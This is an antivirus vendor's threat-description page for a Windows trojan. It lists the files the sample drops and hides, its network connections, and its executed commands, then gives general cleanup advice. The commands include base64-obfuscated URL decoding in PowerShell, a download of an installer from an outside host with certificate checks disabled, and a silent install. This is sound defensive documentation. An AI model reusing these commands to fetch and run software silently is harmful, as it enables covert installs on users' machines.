JavaScript support is required for our site to be fully operational in your browser.
Trojan.Siggen31.64271
Added to the Dr.Web virus database:
2025-10-17
Virus description added:
2025-10-19
Technical Information
Modifies file system
Creates the following files
%HOMEPATH%\lgx\aria2c.exe
%HOMEPATH%\lgx\libcdix64.dll
%HOMEPATH%\lgx\nwinfox64.exe
%HOMEPATH%\lgx\pci.ids
%HOMEPATH%\lgx\1.cmd
nul
%TEMP%\gpuinfo.txt
%HOMEPATH%\lgx\diskpartsetup_363291.exe.aria2__temp
%HOMEPATH%\lgx\diskpartsetup_363291.exe
%APPDATA%\360 partition master\cacert.dat
%APPDATA%\360 partition master\dumpuper.ini
%APPDATA%\360 partition master\360base.dll
%APPDATA%\360 partition master\360common.dll
%APPDATA%\360 partition master\360net.dll
%APPDATA%\360 partition master\360netbase.dll
%APPDATA%\360 partition master\360netul.dll
%APPDATA%\360 partition master\360util.dll
%APPDATA%\360 partition master\crashreport.dll
%APPDATA%\360 partition master\diskbackup.dll
%APPDATA%\360 partition master\diskchk.exe
%APPDATA%\360 partition master\diskfsutil.dll
%APPDATA%\360 partition master\diskmain.exe
%APPDATA%\360 partition master\diskpart.dll
%APPDATA%\360 partition master\dumpuper.exe
%APPDATA%\360 partition master\everyfile.dll
%APPDATA%\360 partition master\loginserver.exe
%APPDATA%\360 partition master\nativediskpart.exe
%APPDATA%\360 partition master\nativediskpart64.exe
%APPDATA%\360 partition master\sodadownloader.exe
%APPDATA%\360 partition master\softmgr\webview.exe
%APPDATA%\360 partition master\sudaupdateservice.dll
%APPDATA%\360 partition master\uninst.exe
%APPDATA%\360 partition master\vss.exe
%APPDATA%\360 partition master\vss64.exe
%APPDATA%\microsoft\windows\start menu\programs\360 partition master\360c盘扩容大师.lnk
%APPDATA%\microsoft\windows\start menu\programs\360 partition master\卸载360c盘扩容大师.lnk
%HOMEPATH%\desktop\360c盘扩容大师.lnk
Sets the 'hidden' attribute to the following files
Deletes following files that it created itself
%HOMEPATH%\lgx\diskpartsetup_363291.exe.aria2
Moves the following files
from %HOMEPATH%\lgx\diskpartsetup_363291.exe.aria2__temp to %HOMEPATH%\lgx\diskpartsetup_363291.exe.aria2
Network activity
Connects to
'vi#.#23pan.cn':443
'oc##.#igicert.cn':80
'st####.rapidssl.com':80
'cn.#pihz.cn':443
'qy###.weixin.qq.com':443
'sf##.#60safe.com':443
's.##0.cn':443
'oc##.crlocsp.cn':80
TCP
HTTP GET requests
http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/disallowedcertstl.cab?a2##############
http://oc##.#igicert.cn/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh%2FsBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEA%2FgMquETQMxBsUMjhPIsGg%3D
http://st####.rapidssl.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBRJiUKgT2m88fZ4nxc1Lu6M%2FjvkagQUDNtsgkkPSmcKuBTuesRIUojrVjgCEAd4V2iV2b3G0kATGz4UOAg%3D
http://oc##.crlocsp.cn/MFEwTzBNMEswSTAJBgUrDgMCGgUABBRgH%2FPN%2F2KBN5Fec0GB96MNB1kxHgQUmZst9ovwo9uJ1J775XQvaNKQT%2BQCEAUL7EPXYR8YHbcpJFEsOx8%3D
Other
'vi#.#23pan.cn':443
'cn.#pihz.cn':443
'qy###.weixin.qq.com':443
'sf##.#60safe.com':443
's.##0.cn':443
UDP
DNS ASK vi#.#23pan.cn
DNS ASK oc##.#igicert.cn
DNS ASK st####.rapidssl.com
DNS ASK cn.#pihz.cn
DNS ASK qy###.weixin.qq.com
DNS ASK sf##.#60safe.com
DNS ASK s.##0.cn
DNS ASK oc##.crlocsp.cn
Miscellaneous
Searches for the following windows
ClassName: 'Progman' WindowName: 'Program Manager'
ClassName: 'UserServer_LoginServer_Class' WindowName: ''
Creates and executes the following
'%HOMEPATH%\lgx\nwinfox64.exe' --sys --cpu --smbios=2 --pci=03
'%HOMEPATH%\lgx\nwinfox64.exe' --pci=03
'%HOMEPATH%\lgx\aria2c.exe' -c --async-dns=false --disable-ipv6=false -s40 -x40 --min-split-size=1M --check-certificate=false --file-allocation=none https://sfdl.360safe.com/netunion/20140425/diskpartSetup_363291.exe --co...
'%HOMEPATH%\lgx\diskpartsetup_363291.exe' --silent --param-
'%APPDATA%\360 partition master\loginserver.exe' --sem-server --sem-name="diskpartSetup_363291.exe" --sem-path="%appdata%360 Partition Master\data"
'%APPDATA%\360 partition master\loginserver.exe' --sem-server --sem-name="diskpartSetup_363291.exe" --sem-path="%appdata%360 Partition Master\data" --lowrun
Executes the following
'<SYSTEM32>\cmd.exe' /C "%HOMEPATH%\lgx\1.cmd"
'<SYSTEM32>\mode.com' con: cols=110 lines=35
'<SYSTEM32>\chcp.com' 936
'<SYSTEM32>\cmd.exe' /c powershell -command "[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('aHR0cHM6Ly9wYW5kYS5saWd4bmcuY24='))"
'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -command "[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('aHR0cHM6Ly9wYW5kYS5saWd4bmcuY24='))"
'<SYSTEM32>\cmd.exe' /c powershell -command "[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('aHR0cHM6Ly9zaWx2ZXIueXVrYWlkaS5jb20='))"
'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -command "[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('aHR0cHM6Ly9zaWx2ZXIueXVrYWlkaS5jb20='))"
'<SYSTEM32>\cmd.exe' /c "%HOMEPATH%\lgx\1.cmd silent_install >nul 2>&1"
'<SYSTEM32>\cmd.exe' /c nwinfox64.exe --pci=03 2>&1
'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -NoProfile -Command "Get-CimInstance -ClassName Win32_VideoController | ForEach-Object { $_.DriverVersion; $_.DriverDate.ToString('yyyy-MM-dd') }"
'<SYSTEM32>\cmd.exe' /c type "%TEMP%\gpuinfo.txt"
'<SYSTEM32>\cmd.exe' /c powershell -command "$Host.UI.RawUI.ReadKey('NoEcho,IncludeKeyDown').Character"
'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -command "$Host.UI.RawUI.ReadKey('NoEcho,IncludeKeyDown').Character"
Curing recommendations
Windows
macOS
Linux
Android
If the operating system (OS) can be loaded (either normally or in safe mode), download Dr.Web Security Space and run a full scan of your computer and removable media you use. More about Dr.Web Security Space .
If you cannot boot the OS, change the BIOS settings to boot your system from a CD or USB drive. Download the image of the emergency system repair disk Dr.Web® LiveDisk , mount it on a USB drive or burn it to a CD/DVD. After booting up with this media, run a full scan and cure all the detected threats.
Use Dr.Web Anti-virus for macOS to run a full scan of your Mac.
If the mobile device is operating normally, download and install Dr.Web for Android. Run a full system scan and follow recommendations to neutralize the detected threats.
If the mobile device has been locked by Android.Locker ransomware (the message on the screen tells you that you have broken some law or demands a set ransom amount; or you will see some other announcement that prevents you from using the handheld normally), do the following:
Load your smartphone or tablet in the safe mode (depending on the operating system version and specifications of the particular mobile device involved, this procedure can be performed in various ways; seek clarification from the user guide that was shipped with the device, or contact its manufacturer);
Once you have activated safe mode, install the Dr.Web for Android onto the infected handheld and run a full scan of the system; follow the steps recommended for neutralizing the threats that have been detected;
Switch off your device and turn it on as normal.
Find out more about Dr.Web for Android
Download Dr.Web for Android
Free three-month trial
All protection features available
Renew your trial license in AppGallery/on Google Pay
By continuing to use this website, you are consenting to Doctor Web’s use of cookies and other technologies related to the collection of visitor statistics. Learn more
OK